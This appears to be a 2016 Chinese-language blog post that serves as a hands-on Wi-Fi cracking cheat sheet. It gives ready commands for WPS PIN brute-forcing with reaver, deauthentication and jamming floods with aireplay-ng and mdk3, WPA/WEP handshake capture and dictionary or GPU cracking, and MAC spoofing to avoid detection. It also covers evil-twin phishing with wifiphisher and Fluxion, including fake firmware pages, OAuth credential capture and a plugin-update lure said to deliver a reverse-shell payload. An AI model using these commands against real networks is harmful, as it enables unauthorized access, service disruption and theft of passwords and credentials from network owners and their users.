Loading

一些Wifi破解姿势

wlan0:无线网卡设备

BSSID/AP's MAC:目标路由器的mac地址

Client's MAC:连接到此wifi客户端的mac地址

ESSID:这个无线的名字

大致思路:

获取bssid和essid   airodump命令
探测是否开启wps    airodump-ng MB,wash -i mon0 -C
探测pin         reaver -i mon0 -b ap_bssid -vv
ddos攻击       mdk3 a mon0 -a bssid -c
相关阅读:http://www.mottoin.com/91376.html

 

    CH[X] 扫描的信道号,因为airodump是跳频扫描的,会一直扫描13个信道。后面是你的扫描时间和你本地时间。
    BSSID:路由器MAC地址
    PWR:网卡的信号水平,新号越好数值越大,但是例如第一个出现‘-1’说明该客户端不在我的监听范围内。
    Beacons:就是Beacon数据的速率
    #Date:被捕获的数据分组数量
    #/S :十秒内的捕获数据分组量
    CH:信道号,是从beacon包里面获取的(在企业无线渗透中提到过beacon内容)
    MB:是一直支持速率,关于802.11标准的,不过一般是用来看是否开启wps的,一般情况下54e.后面有.的都是开启的,但是也不完全。
    ENC:(Encryption )所使用的加密算法体系。Open=无加密,WPA=WPA/WPA2=WPA2
    CIPHER:加密算法,如CCMP,TKIP….
    Auth:(Authentiction)认证协议:如:PSK:(PWA/WPA2的预共享密钥)或是OPEN(WEP开放)MGT(则是802.1x、eap、radius)因为MGT是独立认证服务器
    ESSID:就是SSID
    Station:客户端MAC
    Notassociated:就是证明客户端没跟AP连上。Associated认证在上一篇文章提到过。
    Lost:是10秒丢包数据
    Rate:传输速率
    Probe:就是一个client试图去连目标AP但没连上
    Frame:通信帧数

 

相关命令

无线网卡开启混杂模式
  ifconfig wlan0 down
  iwconfig wlan0 mode monitor
  ifconfig wlan0 up

  从混杂模式中恢复
  ifconfig wlan0 down
  iwconfig wlan0 mode managed
  ifconfig wlan0 up

附:有线网卡开启混杂模式

  ifconfig eth0 promisc 设置网卡为混杂模式
  ifconfig eth0 -promisc 从混杂模式中恢复

重启网卡的命令

  service network-manager restart

  (/etc/init.d/network-manager restart

  sudo systemctl restart NetworkManager)

  service networking restart

保护措施
macchanger -s  [网卡]             #查看网卡当前的MAC
macchanger -m 想伪造的MAC 网卡         #伪造MAC
macchanger  -A  wlan0                 #修改网卡mac地址为随机地址

vi /etc/hostname  #修改主机名
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all  #防止ping

无线DOS aireplay
-ng -0 3 –a BSSID –c clientMAC wlan0 mdk3 mon0 a –a AP'MAC -s 80 mdk3 mon0 d -c 信道 #攻击client MAC mdk3 mon0 b –g –c 11 –h 7     #发动虚假AP信号进行干扰 mdk3 mon0 b –n ESSID –g –c 11  #对指定名称(ESSID)发送干扰,-g是伪装为54M的标准的802.11无线网络,-c频道

 

Wifi破解

 一. Pin码破解


无线网卡开启混杂模式   
ifconfig wlan0 down   iwconfig wlan0 mode monitor   ifconfig wlan0 up
扫描开启wps的AP
  wash -i wlan0  
这里需要强调一下,网上很多教程里都有-C这个优化参数,当初写这篇博文的时候也有这个参数,不过新版本的wash已经不再支持,感谢Demon先生的友情提醒。

破解ping码
  reaver
-i 混杂网卡名 -c 信道 -b AP'MAC -a -S -vv -d 9 -t 9 (混杂模式使用) 目标信号很好: reaver -i wlan0 -b MAC -a -S -vv -d0 -c 1 目标信号普通: reaver -i wlan0 -b MAC -a -S -vv -d2 -t 5 -c 1 目标信号一般: reaver -i wlan0 -b MAC -a -S -vv -d5 -c 1

通过pin码直接获取路由器密码
  reaver -i 混杂网卡名 -b MAC -p PIN8位数

 


 

二. 暴力破解

使用经典的Aircrack-ng

WPA/WPA2
(1)无线网卡开启混杂监听模式   
ifconfig wlan0 down      iwconfig wlan0 mode monitor   ifconfig wlan0 up     --> wlan0

  或者:
  airmon-ng start wlan0  --> wlan0mon
  如果不行:
  airmon-ng check kill
  airmon-ng start wlan0
(2)探测无线网络
  airodump-ng wlan0mon   airodump-ng -c 信道 -w 保存的数据包名 –-bssid AP’MAC wlan0mon
  例:
  airodump-ng -c 6 --bssid 69:71:5E:51:38:EE -w /home/OKing/wifi/FAST_33687 wlan0mon
(3)强制解除客户端认证
  aireplay-ng -0 攻击次数 -a AP’MAC [-c 客户端MAC] [-e bssid] wlan0mon [--ignore-negative-one]
  例:
    aireplay-ng -0 10 -a 69:71:5E:51:38:EE -c 78:AF:8E:7D:8A:9D -e FAST_33687 wlan0mon
    如果信道里有-1,则需要 --ignore-negative-one 参数    
    aireplay-ng -0 10 -a 69:71:5E:51:38:EE -c 78:AF:8E:7D:8A:9D -e "My WiFi" wlan0mon --ignore-negative-one
  在没有客户端连接的情况下,可使用假身份认证攻击(模拟用户认证连接,攻击这个模拟用户)
  aireplay-ng  --fakeauth  -q 10  -a AP'MAC  -h 模拟用户的MAC
  aireplay-ng  --arpreplay  -b AP'MAC  -h  模拟用户的MACs

(4)密码破解
  aircrack-ng 数据包名.cap –w 字典路径   airdecap-ng -l -e bssid –p 密码数据包名.cap //破解出密码后,解析加密内容 WEP (1)airmon-ng start wlan0 [信道] 或 airmon-ng check kill airmon-g start wlan0
   启动监听后的混杂模式网卡: wlan0mon (
2)airodump-ng wlan0mon0 (3)airodump-ng -c 信道 -w 数据包名 [--bssid AP’MAC] --ivs wlan0mon0 (4)aireplay-ng -3 -b AP’MAC -h客户端MAC [-x 1024(每秒发送包数量)] wlan0mon0 (5) aircrack-ng 数据包名.ivs –w 字典路径 (解密的报文ivs要20000以上) (6) aircrack-ng -x -f 2 包名.ivs -x 暴力破解 -f 2 复杂度为2    airdecap-ng –w 解密前的秘钥 数据包名.ivs 如:KEY FOUND! [31:32:33:34:35:36:37:38:39:30:61:61:61] (ASCII:1234560aaa) //蓝色部分是解密前的密钥

wesside –v AP’MAC –k 1(重发数据包次数) –i mon0 //aircrack-ng套件中的自动化破解weo加密wifi工具,但成功率较低
tkiptun
-ng –a AP’MAC -h 客户端MAC 网卡   //aircrack-ng套件中的自动化破解wpa/wpa2加密wifi的工具(可加参数:-m 最小数据包长度 -n 最大数据包长度)


辅助命令

airdecloack-ng  --bssid AP’MAC  --filters signal –i 包名.cap #过滤出指定AP报文数据(会生成*.pcap的报文)
ivstools  --convert  a.cap  b.ivs    //将cap数据包转换成ivs数据包
ivstools  --merge  a.ivs  b.ivs  ab.ivs     //将数据包过滤合并

握手包破解命令 
john --wordlist=password.lst --rules --stdout | aircrack-ng -e essid -w - xxx.cap 
使用john在字典上执行排列匹配,将各种组合词提供给aircrack-ng破解使用 

pyrit -r xxx.cap -i password.lst attack_passthrough GPU加速破解 (time 程序/命令名 #计算程序执行时间) 

cowpatty -s ESSID -r xxx.cap -d /path/彩虹表路径 (若SSID中包含空格,要用引号) 

为cowpatty破解制作专用hash tables : 
  genpmk -f 字典 -d 要生成的hash table -s ssid 
很多组织都自己建立了wpa table库,也就是预先使用常见的essid生成hash table
如果要破解essid相同的无线密码,直接网上下载,无需自己再生成
国内比较有名的就是ZerOne团队针对国内常见essid生成的hash table

现在有很多调用aircrack-ng套件自动化抓包破解的项目,可以去github上瞧瞧。

 

命令行下wifi自动化破解工具

它会根据目标路由器,自动选择合适的破解方式,比如pin码破解,抓包暴力破解等

(1)开启无线网卡监听模式
  ifconfig wlan1 down
  iwconfig wlan1 mode monitor
  ifconfig wlan1 up
  或者: airmon-ng start wlan1

(2)启动wifite,此时会自动加载混杂模式下的网卡,探测无线网络
    
  
   Ctrl + C 停止探测,尽量选择有client的无线进行破解。或者添"all"破解所有
    

(3)等待破解结果即可...

 

Fern-wifi-cracker

 一个强大的图形化工具,傻瓜式,使用方便

破解方式不再介绍,网上比较多。

在ToolBox工具箱中还有一些不错辅助小工具

辅助命令

wpaclean out.cap in.cap             //整理包文件内容,保证它的格式内容与密码破解程序兼容
aircrack-ng out.cap -J out.hccap        //要把cap数据包转换成hccap数据包才能用oclHashcat破解
cudaHashcat-plus64.exe -m 2500 out.hccap   //破解WPAv2哈希

 

针对暴力破解,有一个可以在线破解握手包的站点 https://gpuhash.me/,但是复杂的密码是要付费的

添加一个任务,上传握手包

 

 

 

钓鱼欺骗获取wifi密码

wififisher

项目地址: https://github.com/sophron/wifiphisher

简介:

  WifiPhisher使用类似“邪恶双胞胎”的攻击手法,首先建立一个冒充合法无线访问点的虚假访问点,

  然后对合法访问访问点发起拒绝服务攻击,或是在其周围建立无线信号干涉,以切断用户与合法访问点的连接,迫使用户设备自动连接攻击者伪造的虚假访问点

  当受害者连接到伪造的AP后,会被强制重定向到一个伪造的路由器配置界面,提示路由器固件更新需重新认证密码……

  工具里提供了许多型号路由器的伪造页面适合更多场景,使用时候需要两个无线网卡

安装:sudo python setup.py install

安装依赖 PyRIC-0.1.6.2 的时候卡住了,自己翻Q下载的

https://pypi.python.org/packages/ae/d3/933690b57767006c11ea4b68bf72dd91511fc20b19fe655f49c145392ec2/PyRIC-0.1.6.2.tar.gz#md5=b26291a5e23fd733dbd2bafe602e4ddb
cd PyRIC-0.1.6.2
sudo python setup.py install
参数 -m   最大|选择要取消授权的客户端的最大数量。客户列表将被清空,并在达到限制后重新填充。示例:-m 5
 -n    noupdate |当达到最大(-m)个客户端/ AP组合数时,不要清除解除列表。必须与-m一起使用。示例:-m 10 -n 
 -t   时间间隔|选择发送报文的时间间隔。默认值尽可能快。如果看到scapy错误,如"no buffer space",请尝试:-t .00001 
 -p    选择在每个解扰脉冲串中要发送的数据包数量。默认值为1; 1分组到客户端,1个分组到AP。向客户端和AP同时发送2个deauth数据包:-p 2
 -d   跳过去认证分组到接入点的广播地址,并且只将它们发送到客户端/ AP对
 -a   输入要定向的特定接入点的MAC地址
 -jI  干扰接口。默认情况下,脚本会找到最强大的接口并开始监视模式。
 -aI  apinterface |选择伪接口的接口。默认情况下,脚本会找到第二大功能的接口并启动监视模式。 

几种欺骗模式:

1 - 网络管理器连接
模仿网络管理器的行为。 此模板显示Chrome的“连接失败”页面,并通过要求预共享密钥的页面显示网络管理器窗口。 目前,支持Windows和MAC OS的网络管理器。

2 - 固件升级页面
由于固件升级,没有标识或品牌要求WPA / WPA2密码的路由器配置页。 适合移动设备。

3 - 浏览器插件更新
通用浏览器插件更新页面,可用于向受害者提供有效负载。

4 - OAuth登录页面
免费Wi-Fi服务要求Facebook凭据使用OAuth进行身份验证

用法

通过键入`wifiphisher`或`python bin / wifiphisher`(从工具目录中)运行该工具。

通过运行没有任何选项的工具,它将找到正确的接口,并交互地要求用户选择目标网络的ESSID,以及要执行的网络钓鱼场景。

******

wifiphisher -aI wlan0 -jI wlan1 -p firmware-upgrade

使用wlan0生成流氓接入点和wlan4 DoS攻击。从列表中手动选择目标网络,然后执行“固件升级”方案。用于手动选择无线适配器。 “Firware升级”方案是从密码保护网络获取PSK的简单方法。

****** 

wifiphisher --essid CONFERENCE_WIFI -p plugin_update -pK s3cr3tp4ssw0rd

自动选择正确的接口。使用ESSID“CONFERENCE_WIFI”定位Wi-Fi并执行“插件更新”方案。 Evil Twin将使用PSK“s3cr3tp4ssw0rd”进行密码保护。

对于具有公开的PSK的网络有用(例如在会议中)。

“插件更新”方案为受害者下载恶意可执行文件(例如包含反向shell有效内容的恶意软件)提供了一种简单的方法。

******
wifiphisher --nojamming --essid "FREE WI-FI" -p oauth-login
```
不要定位任何网络。只需生成一个开放的Wi-Fi网络,使用ESSID ""FREE WI-FI" ,并执行“OAuth登录”方案。
对公共区域的受害者有帮助。 “OAuth登录”方案提供了一种从社交网络(如Facebook)捕获凭据的简单方法。

 *****

遇到端口被占用的情况

查看端口被哪个进程占用
  (1)netstat -pan | grep 端口
  (2)fuser -v -n tcp 端口号
  (3)lsof -i:端口号
杀死进程  
  killall 进程名称

  kill -9 进程id  

 

Fluxion

原理与上面的wifiphisher差不多,也是建立伪AP之后强行攻击是合法客户端,迫使其连接到伪造的AP上,然后弹出提示框,要求重新认证wifi密码

安装时会遇到无法安装php5-cgi的问题,因为新版本已不再支持,kali上可以安装php-cgi替代。

另外,有deb安装包:https://sourceforge.net/projects/wififluxion/files/Fluxion_0.23_all.deb/download

使用过程步骤清晰简单

效果:

 

GUI界面

Fluxion GUI

 

目前最新版fluxion也添加许多伪装页面,不再是以前简单的弹框了,如路由器固件升级等。。。

 

kali支持的无线网卡

http://www.wirelesshack.org/best-kali-linux-compatible-usb-adapter-dongles-2016.html

https://www.aircrack-ng.org/doku.php?id=compatibility_drivers&DokuWiki=ha1cljqc5mnki5hpvmhv1tkfm0#compatibility

 

类似内容:

实战演练之Evil Twin攻击

 

两个不错的小工具

LinSSID:一款Linux下的图形化Wi-Fi扫描器

waidps :开源无线WiFi入侵检测&防护系统

 

posted @ 2016-10-20 21:57  ssooking  阅读(22312)  评论(0编辑  收藏  举报